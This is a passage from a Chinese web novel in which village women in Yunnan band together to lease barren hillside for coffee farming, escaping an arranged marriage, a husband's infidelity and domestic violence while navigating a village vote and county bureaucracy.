“好洋气呢叫法。”
“哈哈哈哈……”
“依慧依朵,你们在笑哪样?”
一道声音忽然插了进来。
两人笑声一顿,齐齐扭头。
不远处的大树下,身穿布衣的叶玲扎着高高的丸子头,手里拿着把砍刀,她后方的枯树旁是她的阿妈,地上的背篓里已经放了一半干柴。
依慧先出声:“叶玲你来砍柴噶。”
叶玲点头,狐疑地看着他们,“阿妈说你们最近老往这边呢荒山跑,在整什么噶?”
依慧顿了顿,依朵倒是没觉得有什么,直接就说了:“我们打算来这边包点荒山种咖啡……”
叶玲阿妈立马停下砍柴,急急走过来:“依朵你种了那几棵还不够噶?整那过多,招呼(当心)赔钱噶!”
依朵笑了笑说:“总要试试看呢嘛。”
她看向
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叶玲,“你不出克打工了噶?”
叶玲撇嘴,她阿妈忙说:“不出克咯,二十三了,在家养养性子么要嫁人了,再晚就不有人瞧得上咯。”
叶玲翻了个大白眼,“切”了声。
咬牙切齿嘀咕:“嫁嫁嫁!一天到晚就只认得嫁姑娘,烦死了!”
在家待了几天,她那卷翘的睫毛不见了,口红也不涂了,不见刚回来时的时髦和洋气,像是被吸干了精气神一般,整个人有精无力。
依朵看她几秒,忽然说:“不想嫁么要不跟我一起种咖啡……”
叶玲还没说话,她阿妈先叫了起来:“整不得整不得!那个东西整不得!!”
叶玲扭头看了她阿妈一眼,转回头朝着依朵使了个眼色。
依朵眨眨眼,而后招呼依慧下山:“是咯,那就不整,我们先走了噶。”
叶玲昂了声,看她们远去,这才转身朝着阿妈走去。
“她刚刚那个眼色是哪样意思?”
走了一段路,依慧不由得出声问道。
依朵沉吟:“我猜着应该是要私底下来跟我说。叶玲是我们寨子第一个去市里打工的姑娘,她想法一向大胆,应该是想跟我们一起种咖啡呢。”
赵满田插话:“她阿妈性子有点古,如果她真呢要跟你们一起种,怕着先说服她阿爸呢。”
依朵和依慧的目光便落在了他身上,随即两人对视一眼,依慧嘿嘿直笑:“如果真是这样,那说服她阿爸这事就落在我们亲爱呢村干部身上咯。”
赵满田:“……”
他就多余说这个嘴。
依朵的猜测没有错。
第二天上午,依朵赶着牛出寨,就见叶玲背着个背篓站在路边。
见到她出来,姑娘眼睛一亮,笑着说:“依朵,就等你了。”
依朵赶着牛过去,“咋过啦?有事噶?”
叶玲跟在她身旁,爽快问:“昨日你说那个事是真呢噶?”
“当然是真呢嘛。”依朵赶了赶牛,“你在市里打工,应该听说过咖啡了嘛。”
叶玲点头:“听说过咯,我还喝过雀巢速溶咖啡呢。虽然苦,但是提神!听说别的好几个县都有了咖啡合作社,我还说咋不见我们梦县本地的呢,原来是还没发展起来。”
依朵眼睛一亮,到底是出去打过工的人,见识就是比她们常年待在山里的人广,一说外面的东西就清楚明白。
“有合作社就好了,卖咖啡也好卖。”
“是呢。”叶玲拍拍她的肩,“依朵,你好好干,将来我们梦县第一个咖啡合作社呢大老板就是你了!”
依朵嘴角翘起,却又轻轻一叹:“我倒是想,可惜连三百亩的种植面积都筹不起来,怕是难咯。”
叶玲惊得瞪大了眼:“那么多?!”
依朵点头:“政策要求嘛,没得办法。”
叶玲问:“如果筹不起来,给是就种不了?”
依朵再次点头。
叶玲瞬间反应过来,“难怪你约我……还差多少?”
依朵伸了个手指,叶玲嗐了声:“不就是——”
“一百亩。”依朵说。
“夺少?”叶玲眼珠一凸,直接破了音。
依朵肯定点头:“还差一百亩。”
叶玲停下脚步,“你不要跟我讲你自己包了一百亩噶?”
依朵看她一眼,难掩欣赏,“你真聪明。”
叶玲嘴角抽了抽,肯定的语气:“依慧也是一百亩。”
依朵点头加竖大拇指。
叶玲:“……”
真的太牛了,太有毅力了。
她沉默片刻,才说:“我倒是没有你们那种勇气,顶多跟你们一起种个三十多亩都已经了逼不起咯。”
没想到她那么爽快,都不用劝。
依朵愣了下,反问:“你不怕我们种不起来吗?”
叶玲垂眼,踢了踢脚下的石头,“整个寨子就你会种咖啡,我还怕你种不起来嘛。”
她笑了笑:“再说连村长和依慧都信你,你那咖啡又在那个大人物面前过过面,我有什么好怕的。”
依朵停下脚步,转身看向她。
阳光灿烂,却仍不抵内心的开心绚烂。
能被人无条件信任,是人这一生多么难得的情义。
这时候的她们,什么也没有,只有年轻无畏的一腔勇气。
依朵说:“谢谢你,叶玲。”
叶玲耸肩,“谢什么,是我要谢你给我了一条出路呢。”
她苦笑一声:“我那天回克后就克打听过了。阿妈让我嫁的那个男人他大哥,是个家暴男。小燕她小孃被打了不会生小娃了。”
“我也好怕我嫁过克后被打啊……”
她举目望向远方层层叠叠的山川,身影里似乎有根紧紧缠绕着的枷锁,永远也挣脱不掉。
她轻声说:“依朵,我走不出克了。阿爸阿妈把我身份证跟钱包收了,还跟乡上的班车司机说不准拉我出克。”
“可是我不想留在这里,一辈子也走不出这座大山。”
依朵也跟着仰头看去。
山的对面是山,山的那头,也永远是山。
而山里的姑娘,似乎永远只能留在大山,永远也见不了世面,看不了更广阔的世界。
因为她们身后,绑着一根封建落后的枷锁,无论走多远,都会被牵回来。
但如果,能打破这根枷锁,让女子也能闯出一片天。
这个世道,是不是就会不一样呢?
13.第 13 章
[后来的很多年,我们回望这一生的精彩,似乎都是从下定决心种咖啡开始。]
chapter 13
“叫山啊,我就实话跟你说了,这咖啡我们是在上面领导的指示下种呢。就上个月来寨子呢那个县委书记,你们也见着了嘛。”
“书记说了,咖啡是发展梦县农民经济的重要产业,大力鼓励我们寨子的老百姓积极种咖啡,只要种起咖啡的农户,政府都会有奖励呢。”
“叶玲是我们寨子里头第一个出克打工呢姑娘,见识也广,你就让她跟着我们一起种。以后赚得钱了日子就好过了,到那个时候,你们还怕她说不着好人家噶?”
叶玲阿妈在旁边撇嘴:“这下(现在)也能嫁个好人家呢,不消等到那个时候。”
叶玲急道:“我不嫁他,你要嫁你克嫁克!”
“你个背时婆!”叶玲妈怒得抬手,赵满田忙说,“好了好了,姑娘不愿嫁,你们做父母呢逼她整什么?”
叶玲阿妈恨恨道:“一天天不着事,种种种!种成老姑娘了我看哪个还会要她!”
赵满田头疼道:“叫山家呢,你这个想法就不对咯。等种了咖啡有了钱,斯诺们追着追着来呢,不有钱呢么才会着嫌弃。”
他又看向岩叫山,“你们这下不让娃儿跟我们一起种,以后咖啡发展起来了,自己种就赚不得什么钱了,就像那个茶叶一样呢……”
苦口婆心劝说了一阵,说得他嗓子都干了,端起茶水喝了口。
叶玲勤快地提起小茶壶给村长加水,她阿妈时不时扭头瞪她一眼。
叶玲不理睬她阿妈,就乖乖坐在村长旁边。
岩叫山没说话,沉默着吸了口水烟筒。
屋子陷入沉静,静得叶玲坐立不安,频频看向阿爸。
“我在仰望,月亮之上……”
忽然一道电话铃声打破寂静。
赵满田摸出手机,咦了声赶忙接通:“喂,黄书记,有哪样事噶?”
“哪样?你们来了寨子?好呢好呢,我马上出克。”
挂了电话,他朝着叶玲爸妈比了比,“你们瞧瞧,村支书跟主任都来瞧我们呢咖啡地了,我不挨你们侃了,反正你们多想想,不赚钱他们来整哪样?”
赵满田说完转身就要走,岩叫山赶忙叫住他,又看看女儿,终于开口问道:“你扎实(真的)想跟着种那个咖啡呢噶?”
叶玲连忙点头:“反正又用不着家里的地,而且你们不是老说我在外头干混干混呢,那我回来啊,我回来种地你们总放心了嘛。”
岩叫山抿抿嘴,沉默了几秒,这才看向赵满田:“么也不敢叫她整多少,主要是想小娃在身边,我们也好管着些。”
叶玲眼睛一亮,“阿爸,你同意了噶?”
岩叫山没看她,只跟赵满田说:“听说依朵一个人就敢承包一百亩,我们家叶玲什么都不懂,她又犟着要种,就给她整个一二十亩都多多呢了。”
叶玲眉头瞬间皱起,在她的预想里至少也得三十亩呢。
正想抗议,赵满田给她使了个眼色,笑着说:“也活(对)呢,二十亩不少了。么就这种说定了,后面还要你们大人帮着小娃们把把关呢。”
-
一辆半新不旧的灰色小皮卡驶进寨子,在寨口树荫下停车,来人熄了火,拔出车钥匙,一左一右推开车门下车。
赵满田小跑着出来,笑着说:“哎哟,黄书记肖主任,你们怎么还亲自过来呢,大老远呢辛苦了。”
村支书说:“我们这个村委会难得有人承包荒地种咖啡,自然要来瞧瞧。”
村主任也说:“一看见你们的申请证明我们就赶着过来了。黄书记上次回去说你们寨子有人种咖啡我还不信,今日咋过都要来瞧瞧呢。”
村支书见只他一个人来,不由得问:“种咖啡的那个依朵呢?”
赵满田说:“在她大伯家劝她大伯跟我们一起种呢。”
“那走嘛,克瞧瞧。”
一行人往寨子里走去,不想半路就看见依朵坐在路边石头上,安慰着哭得眼睛红肿的叶香萍。
赵满田奇怪:“依朵,你不有克你阿伯家噶?”
依朵抬头见村长领着村支书过来,忙打了声招呼,说:“还没呢,不过我大姐说想跟我一起种,就不克找阿伯了。”
赵满田看向眼睛红红的叶香萍,诧异:“香萍啊,你这是咋了?”
叶香萍抹了把眼睛,抬起头,认真问:“满田叔,种咖啡真能挣着钱呢噶?”
赵满田还没说,村支书就道:“那是当然,外面咖啡卖得贵,市场好着呢。再说现在梦县有市里扶持的咖啡合作社,只要种出来就卖得出克。”
村支书有时会来下乡,叶香萍也见过两次,闻言站起来,一把擦干眼泪,眼睛里迸发出又恨又坚定的光,说:“那我也跟依朵一起种!”
后来的很多年,叶香萍回顾这痛快精彩的后半生,似乎都要从这一天,她下定决心种咖啡开始。
她也万分感谢依朵,在她人生绝望的关头追了出来,给她一条生路。
似乎冥冥之中,老天爷也觉得她叶香萍命不该绝。
依朵看向大姐,庆幸地拍了拍胸口。
那时她但凡晚了一步,就什么都晚了。
上午九点,送依慧上了班车后,她跟村长就兵分两路,一人去一头。
刚到大伯家外,依朵就听到屋子里传来隐隐约约的哭泣声和大伯的怒骂声:“你自己不争气你怪哪个?啊?自己男人都看不住,你有哪样逼脸回来哭?”
这话骂得也太难听了,依朵皱了皱眉,快步上木梯,不想屋里忽然跑出一个捂着嘴巴的人,不小心撞了依朵一下,她扶着扶手站稳才看清那是大伯家的大姐。
一转眼大姐跑下木梯就不见了。
依朵眼皮一跳,看了眼站在堂屋叉着腰怒气冲冲的大伯,再看一眼缩在旁边屋子偷瞄的大嫂,而后毫不犹豫转身跑下木梯追了出去。
刚转过屋角就见大姐不知道打哪儿提来了一瓶敌敌畏,吓得依朵一个猛冲跑过去。
“姐!!”
叶香萍一个不注意就被依朵夺走了农药瓶,她愣愣地干站几秒,腿一软跌坐在地,泪水哗啦啦流。
“依朵,我不想活了呜呜呜……”
依朵将敌敌畏瓶盖拧紧放在高处,拍着叶香萍的背安慰了会儿,等大姐情绪稳了些,扶着
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她在路边的石头上坐下,这才弄明白了事情始末。
原来是大姐的老公跟上寨的一个寡妇看对了眼,三天两头往上寨跑不说,每逢赶集都要约着去街上。家里卖茶来的钱不知不觉少了一半,一查才知道是被那个狗男人偷出去给人家寡妇的小娃上学读书,自家的小娃却连一包饼干都吃不起。
她气得心口都要炸了,一冲动跑回娘家啥都说了。
本来是要阿爸给她做主,帮她去教训一下那个没良心的狗男人。
谁知道回了娘家却先被阿爸骂了出来。
说她丢人现眼,男人都管不住。
叶香萍委屈得要死,腿长在男人身上,男人自己管不住下半身,到头来却都怪在女人身上。
她那时候的最大想法就是死了算了。
要不是遇到依朵,她真的说不定就吃敌敌畏死了。
依朵轻轻地拍着她的背。
片刻,她出声道:“大姐,跟我一起种咖啡吧。”
“苦是会苦一点,但是能挣钱啊。有了钱,小光你自己就能养,谁还稀罕那狗男人啊!”
叶香萍一愣,抬起头,泪眼婆娑地看向一脸坚定的姑娘。
心中动了动。
她是知道依朵一直都在种咖啡的,也看见了那天那个大人物跟她买咖啡的过程,哽咽问:“外面的人真呢很喜欢咖啡呢噶?”
依朵说:“那当然,咖啡现在在国外可是饮料之王。上海那些大城市的年轻人人手一杯呢,连叶玲在市里打工都喝过速溶咖啡,现在市场需求正大着呢。”
她正色道:“姐,我实话跟你说吧,我跟依慧打算包个三百亩荒地种咖啡,以后成立我们南洛乡第一个咖啡合作社,不愁挣不到钱。”
叶香萍怔怔,垂下脑袋,眼泪已经不掉了,心里细细思量起来。
现在这种情况,那个狗男人已经是靠不住了,她儿子才六岁,往后的路还很长,指望男人回心转意不如指望母猪会上树。
她不拼一把,路都没有了。
“依朵,我想跟你种咖啡呢,但是我……”
话没说完,一抬头就看见村长领着村支书跟村主任过来,两人的话止住,这才有了刚刚那个场景。
有了村支书的话,叶香萍越发坚定了种咖啡的想法。
“种咖啡是我唯一的出路了,我种!”
赵满田想了想,倒也不去找岩大龙了,那人爱钻研,心思活络,这种人向着自己人还好,一旦起了别的心思,那可是大祸害哟!
“好好,下寨的女人思想就是先进!”村支书欣慰,“走,去看看你们的地——”
话还没说完,一道声音远远呼来:“依朵依朵!满田叔!!”
几人抬头往上路看去,田小燕跑得气喘吁吁,第一次说了句大长话:“满田叔,快点跟我克我小嬢家,我小嬢要着打死了!”
赵满田眉头一跳:“哇得!赶紧带路!”
一行人急匆匆跟在田小燕身后往最上方的寨子赶去,刚到路下,咆哮声就从屋子里传了出来,紧接着就是乒铃乓啷的砸锅砸碗的声音。
“岩大勐!你给老子住手!”
赵满田抄起一根木棒就跑了上去。
14.第 14 章
[我告诉姑娘们,我们不认命,我们要搏命!]
chapter 14
村支书和村主任裤脚一提紧跟其后。
一进屋就目瞪口呆,家里没一处能落脚的好地方,灶屋更是被砸得不成样子,火塘里的火灰撒得四处都是。
依朵和叶香萍进去时那男人已经被赵满田制住,村支书和村主任拦在中间,小燕连忙去角落里扶起被打得鼻青脸肿的田春花。
赵满田一脚踢飞岩大勐的酒瓶,气得不行,“你个瘪三!肿肿酒(喝喝酒)就打婆娘,你还是不是个男人了!”
岩大勐显然喝多了酒醉得不行了,叫囔起来:“臭婆娘儿子也生不出来,喊她拿钱给老子喝酒咋过了!她欠老子呢!”
骂着又要冲过来,村支书和村主任连忙上前架住人,田春花吓得全身一抖,死死抱住自己,眼神麻木。
躲在屋后的小姑娘忽然冲上前重重踢了岩大勐一脚,而后跑回阿妈身边,紧紧抱着阿妈的胳膊。
岩大勐冷不防被踢了一脚,气得大骂:“小杂种!你信不信老子挨(把)你卖克缅甸!”
“啪!”村支书甩了他一巴掌,“你信不信今天我就叫李队长来把你抓回克派出所关着!”
村主任也怒指着他:“现在是文明社会!张口闭口卖卖卖!拐卖妇女儿童是重罪,你怕是想牢底坐穿!”
岩大勐不敢对村干部怎么样,回过头,血红的眼睛便死死盯着田春花,“臭婆娘!你竟然敢给老子叫来村委会呢!老子弄死你!”
“你再雄一句试试?”村主任沉了脸。
岩大勐憋红了脸,忍了又忍,朝着田春花吼道:“臭婆娘你赔老子钱!!”
田春花抱着女儿不吭声。
依朵抿紧嘴唇,看向醉醺醺的酒鬼。
这个岩大勐平日里不怎么出挑,顶多爱偷奸耍滑一些,为人一般般。就是不能碰酒,一碰酒就会暴躁、易怒,还爱打人。
可偏偏他又爱喝酒,喝了酒就发火打人,田春花嫁过来了那么多年,一年至少要被打一次,多的四五次都有。
依朵看看鼻青脸肿的女人,再看一眼小燕,忽然出声:“要她给你钱喝酒那还不好办。”
所有人看向她,连吵吵囔囔的岩大勐都狐疑地停了下来,“你说哪样(什么)?”
依朵说:“我跟依慧在公雾山包了块地种咖啡,正在找人跟我们一起种,你要是让春花嫂子跟我们一起干,保管你以后日日都有钱喝酒。”
岩大勐嗤了一声:“种咖啡就有钱,哪个鬼跟你瞎扯呢?”
村支书和村主任面无表情:“我们说呢。”
岩大勐:“……”
他甩了甩头,稍微清醒了些,“种咖啡能挣钱?”尾音狐疑地上扬。
村支书:“那是当然。如今年轻人对咖啡的需求正在持续上升,我国能种咖啡的地方少之又少,不然你以为政府为什么大力鼓励我们这边的老百姓种咖啡,还给予政策扶持?”
岩大勐也不是个傻的,起码也读过几年书,稍稍一思索就转过了弯,但又害怕:“咖啡哪里会有那样好种呢,还说种就种了……”
依朵瞥他一眼:“我啊,说种就种了。”
岩大勐:“……”
他突然想起前段时间,那个被县委书记亲迎,被一排排小汽车接走的大人物,他就是跟依朵买了咖啡的。
没想到她前几年种着玩一样的咖啡,居然也有人买。
也不得不说,这姑娘确实是寨子里第一个把咖啡种出来的人,自然敢说这种大话。
可她是她,别人是别人。
万一……他看了眼田春花,心思左右摇摆。
依朵十分清楚这种男人既要又要的卑劣内心:“你不就是怕干失败嘛,放心,又不要你干,让春花嫂子跟我们一起干就是了。”
“干成功了你以后一辈子的酒钱都有着落,干失败了大不了就跟现在一样,你又不亏。”
岩大勐把这话听进去了,眼珠滴溜一转,顿时心动了,再次确认:“种咖啡真能赚大钱?”
赵满田嗤道:“不能赚我疯了同意依慧克搞,一包还一百亩?”
村支书忍住了翻白眼的动作,说:“我们就是特地来看你们寨子的咖啡基地搞得怎么样了。”
村主任也说:“你们寨子这次种咖啡,上头可是重点关注呢。”
岩大勐看看两个村干部,头脑瞬间清醒得不得了。
挣开赵满田的手,他搓了搓手心,一瞬间阿谀地笑起来:“能挣钱好啊,能挣钱就好!那就让我们家春花跟你们一起干嘛。”
依朵暗自翻了个白眼,转而握住田春花的手,轻声问道:“春花嫂子,你给愿意跟我一起种咖啡?”
田春花看着她坚定的眼睛,再缓缓看向木着脸的侄女,最后目光落在怀里木讷的女儿身上,眼泪一颗颗掉落。
其实昨日下午,小燕就来跟她说过种咖啡这个事了。
但是当时被她拒绝了,不用想都知道家里不会同意她去种的。
而且她也害怕,咖啡有多金贵、有多难种早在岩大龙种死后就给寨子里的人留下了阴影,所以她想都没想一口就拒绝了。
甚至在今日上午看见小燕又一次跑来家里时还发了火,喊她要种就自己种,别来拖她下水。
可也就在那时,出去喝了一夜酒的岩大勐回来了,一回来就扯着她的头发喊她拿钱出来。
她哪里有钱,女儿上学的钱都被他拿去喝酒了,不然也不会开学了快两个月了女儿还在家里。
她忍不住跟岩大勐反抗了起来,结果就是被打得更厉害,连家都被砸了。
如今走到这个地步,她早已没了退路。
娘家不给力,她连回去都不敢。
她实在是,没路走了。
田春花擦了把眼泪,苦笑着说:“我跟你们种。”
她认命了,她没办法了。
那种向命运低头的绝望模样刺了依朵内心一下,她使劲握了握那双粗糙的手。
田春花心中一动,抬头看向依朵的眼,忽然从那双坚韧的眸子里看到了一丝希望。
她好像在说,别怕,这是搏命,不是认命。
-
当天中午,几人齐聚村长家,由村长统计承包荒地的总面积,共计三百亩。
其中依朵和依慧各承包一百亩,叶香萍是最出乎意料的。她一咬牙竟然承包了五十亩;其次是叶玲在她阿爸的严防死守下承包了二十亩;最后是田春花和田小燕合作承包共三十亩。
由于公雾山是属于班贺下寨农村集体荒地,村长已经向村委会提出了明确用地的承包申请,接下来便是农村集体荒地的民主决策,即召开村民会议。①
村长挨家挨户打了电话,没电话的就上门去喊。
下午四点多,院子里便站满了各家各户的代表。
大部分人一脸蒙,极个别少数人已经猜到是什么事了。
果然,在各家代表基本来齐了以后,村支书先跟大家打了声招呼:“各位父老乡亲们,百忙之中把大家喊来,是要说一说这个农村荒地呢开发跟利用……”
一番讲话完毕,村支书看向村主任。
主任摆了摆手表示不说,赵满田这才站出来:“刚刚黄书记也说了荒地呢开发使用,现在又赶上政府大力扶持老百姓种咖啡呢政策。”
“经过我们一致商量,决定将公雾山那片荒山,由本寨寨民叶依朵、赵一慧、田春花等人联合承包,发展咖啡种植……”
“在此之前,先问问大家呢意见,给同意依朵他们承包公雾山种咖啡……大家先讨论讨论,过半小时我们举手表决。”
赵满田说完,依朵和叶香萍、叶玲还有田春花从家里抱来碗进入村长家的灶屋,依慧阿妈和田小燕已经烧好了开水,煮好了茶。
依朵便提着茶壶,一碗一碗倒出去,端着到院子里或站或立的家庭代表面前:“阿表,站疾了(累了)喝口茶。”
那男人笑着接过,“你个小姑娘,胆子是扎实(超级)大呢,都敢包地种咖啡了噶。”
依朵笑着继续倒水,边回道:“这不是想着之前随便种呢咖啡都会有人买么,我就想着不如多种些,也好多卖点钱。”
她把水端给下一个:“抱(baox:姑父舅舅),你也站疾(累)了,喝口茶。”
姑父接过,摇了摇头:“你还小,不是我说你,少整些得咯,招呼(小心)赔了砸锣锅卖铁呢。”
依朵继续倒水给下一个,笑笑:“赔不赔么都是以后呢事,先种再说嘛。”
“咖啡就跟茶一样,以后肯定会大量种植呢。”她问喝茶的三个代表,“你们给要跟我一起种?”
三人齐齐摇头。
一人一句:“我们可不敢整……”
“你阿伯都说了,咖啡金贵,难种活!”
“你都要招呼着赔钱呢……”
依朵不在意,“你们不种么那你们同意一下我们承包公雾山种咖啡这个事嘛。”
她不给他们思考的时间,紧接着说:“到时候承包土地的钱都用在寨子建设上,修路啊,拉水管啊……反正不管我赔不赔钱,寨子都会有钱,你们说给好?”
“这种噶?”
“这倒是好呢。”
“么就支持你嘛。”
依朵笑着说了一通感谢的话,继续下一个。
茶水端到阿妈面前时,依朵顿了下,叶嫩妹也转开了头,母女俩在这事上是死犟着,一个不跟一个说话。
这边叶香萍也同样将茶水端到了她阿爸面前,岩大龙一脸鬼火,“你个白眼狼!跟着依朵胡闹也不达(跟)我说声,你眼里给还有我这个阿爸呢!”
叶香萍眼睛都还没消肿,想起上午的事,态度一下冷淡下来:“嫁出克呢姑娘泼出克呢水,这话还是你亲口说呢,你既然不管我呢事,那我呢事你也管不着。”
说完不再理会,倒了水,对着下一个人又扬起笑脸:“阿忠哥,喝口茶水……”
“啪!”
一个巴掌声忽然响起,众人一愣,不约而同扭头看去。
田小燕歪垂着脸,头发也散开,她面前站着她阿爸,手高高扬着。
中年男人眼冒凶光,张口怒斥:“田小燕你是要死了噶?”
“还敢承包荒地?!你怕是要我们家倾家荡产你才高兴给是?我咋会有你这种恶毒呢姑娘……”越说越气,中年男人抬手又要打。
田春花急忙跑过去,一把拉过小燕,对上自家阿哥:“大哥,是我跟着依朵干呢,小燕只是帮我倒倒水,你打她整哪样(做什么)?”
小燕阿爸指着她,一脸火大:“你也跟着瞎整乱整!你也不想想咖啡真有那样好种咋会没人种?”
“不说我们村委会了,就是整个南洛乡,整个梦县都不有几个人敢种!去前年来梦县承包土地种咖啡,最后赔了汉裤(裤衩)都不剩那个大老板你是忘了噶?!”
中年男人怒而转头,“你们家大勐呢?他咋会同意你瞎搞!!”
岩大勐也是村民家庭代表之一,闻言从旁边过来,笑着说:“大哥,反正也不有多少。外面把这个咖啡说得多贵多贵,我倒是要瞧瞧给真,就给她种种瞧。”
他说着压低了声
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音:“再说赔了我们就找前头那几个,”眼神滴溜溜地在依朵身上绕了圈,“找她赔我们不就成了,反正她怂恿呢,我又不亏。”
小燕阿爸沉默了,看着眼前满眼算计的妹夫,随即又转向小燕:“你真的不有跟着搞?”
田春花握着田小燕的手紧了紧。
小燕抬起头,右脸红肿,双眼麻木,冷淡说:“不有。”
小燕阿爸不说话了,水也不喝。
田春花赶忙带着小燕往旁边退开。
半个小时转瞬而过,赵满田在上面拍了拍手,“各位父老乡亲们,大家静一静。”
院子里安静下来。
赵满田说:“同意把公雾山承包给叶依朵赵一慧等人种植咖啡呢代表请举手。”
岩大勐第一个积极举手,笑得见牙不见眼,还怂恿着旁边的人举手。
叶玲阿爸在叶玲手指头戳戳戳下瞪了女儿一眼,而后慢吞吞举起手,随即是刚刚跟依朵说话的那几个。
稀稀拉拉的,竟然也有了一半的人举手同意。
依朵悬着的心终于落地。
村民代表大会议定公示后,赵满田就上报了南洛乡人民政府审核。
当时正好赶上肖副乡长下乡回来,听说他们要承包荒地种咖啡很是高兴,又见他们流程正确,一上午就给了批复,并且提醒他们,面积超过五十亩的还要去县农业局与国土局备案,同时要拿到集体荒地承包经营权证书才可以开荒。
赵满田和依朵谢过肖副乡长,隔日到达梦县后再次兵分两路。
赵满田先把依朵送去国土局,国土局流程简单,只需递交材料,盖章备案就可以了。他则去流程复杂一些的农业局,要备案审核,还要申请土地承包经营权证。
到底是第一次一个人来这种政府单位。
依朵有些胆怯,进门时没忍住东张西望了一下,结果差点被大厅的保安轰了出来。
一番解释下,保安听说她是来备案荒地承包的,抬手指了个方向说去找某某某。
他说得太快,依朵后两个字没听清,但见他一脸严肃也不敢再问,想着知道姓也是好的,便顺着他指的楼梯上去。
二楼走廊更安静、更冷清,一个人也没有。
依朵抬头看向一间间办公室门口上的牌子,想着自己的是荒地开发,那应该是土地利用办公室,便伸手敲了敲门。
里面的人听了她的来意,说她应该去斜对面的林草资源办公室,依朵过去了,但里面没人,在门口等了一个多小时工作人员才回来。
进办公室递了材料,对面的人说这个要去地籍办公室确权,其次才去土地利用办公室备案。
依朵想起刚上来时去的办公室,顿时抿了抿唇,又跑去地籍办公室。里面的工作人员看了看她的材料,说她少了份规划部门批准的荒地用途变更说明。
依朵翻出材料里荒地承包合同的原件,文件里载明了公雾山的用途和开发规划,是经乡政府审核批准了的。她想说这不就是同一个意思嘛,但也怕自己搞错了,赶紧出办公室给村长打了个电话。
赵满田回:“我们这个荒地是属于本寨寨民优先使用的集体荒地,只需乡政府批准就可以了,不用到规划部门审批,你跟他们说一声噶。”
“好呢。”她就说嘛。
挂了电话,依朵抱着材料再次进去,把情况说明。
坐在电脑后的工作人员不耐烦抬头,语气很冲:“我说了要就是要!你不要跟我犟!还想不想盖章了?”
依朵被凶得有些懵,张了张嘴巴:“可我们情况特殊——”
“叮铃铃……”
座机电话响起,工作人员不再管她,转头接起电话:“喂,主任?哦哦,你说呢那个事我认得呢……”
依朵闭嘴,在旁边安静地等着,工作人员接完电话,收了份文件站起身,看也不看她就出了办公室。
依朵懵了两秒,反应过来时工作人员已经离开了办公室。她追出去两步,又回来收起红实木办公桌上的材料,再快步跑出办公室,然而走廊上已经空荡荡了,一个人也没有。
她干站片刻,想着等人回来再跟人好好说明一下,于是在走廊的休息椅上坐下等着。
时间一分一秒过去,夕阳的光从走廊外的窗户上照了进来,大理石地板上铺上一层淡淡的光。
陆续传来办公室的关门声和脚步声,依朵抬头看去,一个接一个的工作人员往楼下走去。
依朵有些慌了,看样子是到下班时间了,那个工作人员是不会回来了吗?
她赶忙站起来往地籍办公室走去,在门口等了许久,等到保安都上来巡逻,告诉她人都走完了。
依朵愣住,抿了抿苦涩的嘴角,最终只能拖着塌下的肩膀走出国土局大门。
站在街边仰望着天边即将落山的太阳,她沉沉叹了口气。
捞出手机想看眼时间,结果手机没电关机了。
难怪后来村长都没给她打电话。
本来是说今天把资料递交上去,盖了章后今天就回寨子的。
哪知道流程这么复杂,绕来绕去的。
依朵左右看了看,心生绝望,全是陌生的街道。
梦县来得少,她根本不知道农业局在哪里。
正一筹莫展时,一辆车身流畅的黑色轿车忽然在她面前停下。
后座车窗缓缓降下,一丛夕阳透过车窗,男人清隽的面容映在黄昏里。
依朵顿时愣住,恍惚中想,他是从天而降的神仙吗?
车里的温聿白见她呆呆的,有些好笑,先出了声:“怎么垂头丧气地站在这里?”